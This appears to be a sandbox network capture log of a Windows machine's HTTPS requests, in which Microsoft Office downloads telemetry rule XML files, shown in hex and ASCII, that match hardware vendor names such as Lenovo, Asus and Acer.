2024-10-27 16:54:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e5972945-801e-007b-45f3-24e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165420Z-15b8d89586ff5l62aha9080wv000000005000000000092w0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165420Z-16849878b78zqkvcwgr6h55x9n00000003a000000000471n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 88497579-201e-0000-113a-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165420Z-17c5cb586f65j4snyp1hqk5z2s000000053g00000000ahhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165421Z-16849878b78j5kdg3dndgqw0vg00000005c000000000qpxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165421Z-17c5cb586f6f8m6jnehy0z65x4000000030000000000891d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165421Z-16849878b787wpl5wqkt5731b400000004p0000000001bcs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165421Z-17c5cb586f6hn8cl90dxzu28kw00000003h000000000bhqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30dbe6fd-101e-0034-66db-2696ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165421Z-17c5cb586f6wnfhvhw6gvetfh400000003ag000000000gkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49738	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-27 16:54:21 UTC	495	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=244830 Date: Sun, 27 Oct 2024 16:54:21 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-16849878b78q9m8bqvwuva4svc00000002a000000000c37x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-16849878b78sx229w7g7at4nkg000000020000000000e58h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-16849878b7867ttgfbpnfxt44s00000003mg00000000fbnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" 